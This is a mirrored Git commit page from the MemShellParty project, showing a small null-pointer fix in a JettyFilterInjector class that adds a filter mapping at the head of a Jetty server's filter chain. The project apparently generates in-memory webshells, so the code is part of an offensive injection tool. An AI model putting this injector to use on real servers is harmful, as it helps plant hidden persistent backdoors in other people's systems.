mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: NPE
This commit is contained in:
+2
-2
@@ -121,10 +121,10 @@ public class JettyFilterInjector {
|
|||||||
|
|
||||||
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
Object[] newMappings = null;
|
Object[] newMappings = null;
|
||||||
int length = Array.getLength(mappings);
|
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||||
if (mappings == null || length == 0) {
|
|
||||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
} else {
|
} else {
|
||||||
|
int length = Array.getLength(mappings);
|
||||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
System.arraycopy(mappings, 0, newMappings, 1, length);
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user